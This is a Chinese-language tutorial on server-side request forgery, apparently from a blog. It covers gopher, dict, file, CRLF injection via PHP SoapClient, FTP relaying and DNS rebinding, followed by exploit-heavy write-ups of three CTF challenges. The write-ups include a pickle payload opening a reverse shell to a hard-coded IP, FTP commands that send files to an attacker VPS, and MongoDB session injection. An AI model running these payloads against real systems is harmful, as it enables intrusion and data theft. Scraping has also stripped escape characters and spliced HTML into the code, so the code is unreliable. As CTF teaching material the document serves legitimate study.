SSRF簡介
SSRF(Server-Side Request Forgery:服務器端請求偽造是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)
SSRF形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
如圖是一個簡單的SSRF
源碼如下
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
利用協議
file/local_file
利用file文件可以直接讀取本地文件內容,如下
file:///etc/passwd
local_file:///etc/passwd
local_file與之類似,常用于繞過
dict
dict協議是一個字典服務器協議,通常用于讓客戶端使用過程中能夠訪問更多的字典源。通過使用dict協議可以獲取目標服務器端口上運行的服務版本等信息。
如請求
dict://192.168.163.1:3306/info
可以獲取目標主機的3306端口上運行著mariadb
Gopher
Gopher是基于TCP經典的SSRF跳板協議了,原理如下
gopher://127.0.0.1:70/_ + TCP/IP數據(URLENCODE)
其中_可以是任意字符,作為連接符占位
一個示例
GET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
URL編碼后
%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
測試
curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8
123
所以在SSRF時利用gopher協議我們就可以構造任意TCP數據包發向內網了
利用CRLF
在HTTP的TCP包中,HTTP頭是以回車符(CR,ASCII 13,r,%0d) 和換行符(LF,ASCII 10,n,%0a)進行分割的。
下圖是一個示例:
如果我們能在輸入的url中注入rn,就可以對HTTP Headers進行修改從而控制發出的HTTP的報文內容
比如下圖
USER anonymous等就是通過CRLF注入插入的偽HTTP Header
PHP中利用Soap Client原生類
SOAP(簡單對象訪問協議)是連接或Web服務或客戶端和Web服務之間的接口。
其采用HTTP作為底層通訊協議,XML作為數據傳送的格式。
在PHP中該類的構造函數如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一個參數是用來指明是否是wsdl模式。
第二個參數為一個數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設置location和uri選項,其中location是要將請求發送到的SOAP服務器的URL,而uri 是SOAP服務的目標命名空間。具體可以設置的參數可見官方文檔
其中提供了一個接口
The user_agent option specifies string to use in User-Agent header.
此處本意是注入User_Agent HTTP請求頭,但是此處存在CRLF注入漏洞,因此我們在此處可以完全控制HTTP請求頭
利用腳本如下
<?
$headers = array(//要注入的header
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"ekirnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,
'uri' => "aaab"));
利用FTP作為跳板
FTP是基于TCP的在計算機網絡上在客戶端和服務器之間進行文件傳輸的應用層協議
通過FTP傳輸的流量不會被加密,所有傳輸都是通過明文進行的,這點方便我們對的數據包進行編輯。
FTP協議中命令也是通過rn分割的 同時FTP會忽略不支持的命令并繼續處理下一條命令,所以我們可以直接使用HTTP作為FTP包的載荷
同時通過使用PORT命令打開FTP主動模式,可以實現TCP流量代理轉發的效果
# STEP 1 向FTP服務傳TCP包
TYPE I
PORT vpsip,0,port
STOR tcp.bin
# STEP 2 讓FTP服務向內網發TCP包
TYPE I
PORT 172,20,0,5,105,137
RETR tcp.bin
DNS Rebinding
針對SSRF,有一種經典的攔截方式
- 獲取到輸入的URL,從該URL中提取host
- 對該host進行DNS解析,獲取到解析的IP
- 檢測該IP是否是合法的,比如是否是私有IP等
- 如果IP檢測為合法的,則進入curl的階段發包
第三步對IP進行了檢測,避免了內網SSRF
然而不難發現此處對HOST進行了兩次解析,一次是在第二步檢測IP,第二次是在第四步發包。那么我們很容易有以下繞過思路
控制一個域名xxx.xxx,第一次DNS解析,xxx.xxx指向正常的ip,防止被攔截
第二次DNS解析,xxx.xxx指向127.0.0.1(或其他內網地址),在第四步中curl向第二次解析得到對應的內網地址發包實現繞過
這個過程已經有了較為完善的利用工具
例題
主要分析題目中的SSRF部分
MRCTF2020 Ezpop Revenge
目標是訪問/flag.php 但限制了訪問請求的來源ip必須為127.0.0.1也就是本地訪問
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?nonly localhost can get flag!";
?>
此題的前半部分在于typecho pop鏈的構造此處就不過多贅述,直接上Exp
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct($coincidence){
$this->coincidence = $coincidence;
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Request{
private $_params;
private $_filter;
function __construct($params,$filter){
$this->_params=$params;
$this->_filter=$filter;
}
}
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"ekirnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,
'uri' => "aaab"));
$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."n";
echo urlencode(base64_encode(serialize($exp)));
其中$a為SOAP載荷,call_user_func()對SOAP對象進行了主動調用從而觸發了請求。
這里關鍵是使用了PHP的SoapClient進行了一個SSRF
<?php
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"ekirnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,
'uri' => "aaab"));
通過CRLF注入PHPSESSION 然后訪問/flag.php php將flag放入session中,我們再帶著這個SESSION去訪問對應網頁就能獲取到存儲的flag了
MRCTF2021 half nosqli
這個題的前半部分在于Mongodb永真式萬能密碼繞過,后半部分就是SSRF
首先可以打到自己vps上看看效果
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://buptmerak.cn:2333"
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
發現發送了HTTP的請求包
經過嘗試該題目中存在Nodejs曾爆出的一個SSRF漏洞,即Unicode拆分攻擊,可以進行CRLF注入
利用原理如下
在Node.js嘗試發出一個路徑中含有控制字符的HTTP請求,它們會被URL編碼。
而當Node.js版本8或更低版本對此URL發出GET請求時,u{ff0a}u{ff0d}不會進行轉義,因為它們不是HTTP控制字符:
但是當結果字符串被默認編碼為latin1寫入路徑時,這些字符將分別被截斷為x0ax0d也即rn 從而實現了CRLF注入
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://buptmerak.cn:2333/"
payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("n","rn")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("n","uff0duff0a")
#url_payload = url_payload + payload.replace(" ","uff20").replace("n","uff0duff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
可以看到發回的包
已經實現了CRLF的注入,這里的payload也就是我們最終構造的FTP請求包,通過這個請求包,可以使FTP主動向我們的服務器發送上面的文件
USER anonymous 以匿名模式登錄
PASS 隨意
CWD 切換文件夾
TYPE I 以binary格式傳輸
PORT vpsip,0,1890 打開FTP主動模式
RETR 向對應ip:port 發送文件
在vps上開一個監聽端口,就能監聽到發來的文件了
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://ftp:8899/" #題目附件中Docker-compose.yml中泄露的內網主機名
payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("n","rn")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("n","uff0duff0a")
#url_payload = url_payload + payload.replace(" ","uff20").replace("n","uff0duff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
StarCTF2021 oh-my-bet
題目在獲取頭像地址處存在ssrf
def get_avatar(username):
dirpath = os.path.dirname(__file__)
user = User.query.filter_by(username=username).first()
avatar = user.avatar
if re.match('.+:.+', avatar):
path = avatar
else:
path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
try:
content = base64.b64encode(urllib.request.urlopen(path).read())
except Exception as e:
error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
content = base64.b64encode(urllib.request.urlopen(error_path).read())
print(e)
return content
import urllib.parse
import requests
import re
import base64
import time
url = "http://localhost:8088/login"
def read_file(filename):
name = "eki"+str(time.time())
avatar = filename
data = {
"username":name,
"password":"322",
"avatar":avatar,
"submit":"Go!",
}
res = requests.post(url,data=data)
txt = res.text
find = re.findall("<img src.*>",txt)
if len(find) != 0:
with open("out",'wb') as f:
st = base64.b64decode(find[0][32:-47])
f.write(st)
if len(st) == 4611:
print("{} not exists!".format(filename))
else:
print("Success!->out")
else:
print("Error")
print(res.text)
read_file("file:///app/app.py")
并且該版本的urllib.request.urlopen(path)存在CRLF注入漏洞
分析題目給出的源碼,我們能得到最終的解題思路是
向FTP傳輸惡意流量包并存儲->FTP向Mongodb發送惡意流量包插入惡意Session->Session Pickle 反序列化反彈shell
生成惡意mongdb流量包
生成惡意pickle序列化串
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ("""Python/ target=_blank class=infotextkey>Python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_.NET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())
生成Mongodb的BSON數據
const BSON = require('bson');
const fs = require('fs');
// Serialize a document
const doc = {insert: "sessions", $db: "admin", documents: [{
"id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa",
"val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),
"expiration": new Date("2025-02-17")
}]};
const data = BSON.serialize(doc);
let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);
攻擊流程
上傳到內網FTP服務器
payload = '''
TYPE I
PORT vpsip,78,32
STOR bson.bin
'''
exp = 'http://172.20.0.2:8877/'
exp += urllib.parse.quote(payload.replace('n', 'rn'))
read_file(exp)
vps打開文件發送
import socket
HOST = '0.0.0.0'
PORT = 20000
blocksize = 4096
fp = open('bson.bin', 'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
print('start listen...')
s.listen()
conn, addr = s.accept()
with conn:
while 1:
buf = fp.read(blocksize)
if not buf:
fp.close()
break
conn.sendall(buf)
print('end.')
內網FTP向Mongodb發送構造惡意數據包
payload = '''
TYPE I
PORT 172,20,0,5,105,137
RETR bson.bin
'''
exp = 'http://172.20.0.2:8877/'
exp += urllib.parse.quote(payload.replace('n', 'rn'))
read_file(exp)
最終觸發
import requests
url = "http://localhost:8088/"
cookie = {
"session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"
}
req = requests.get(url,cookie=cookie)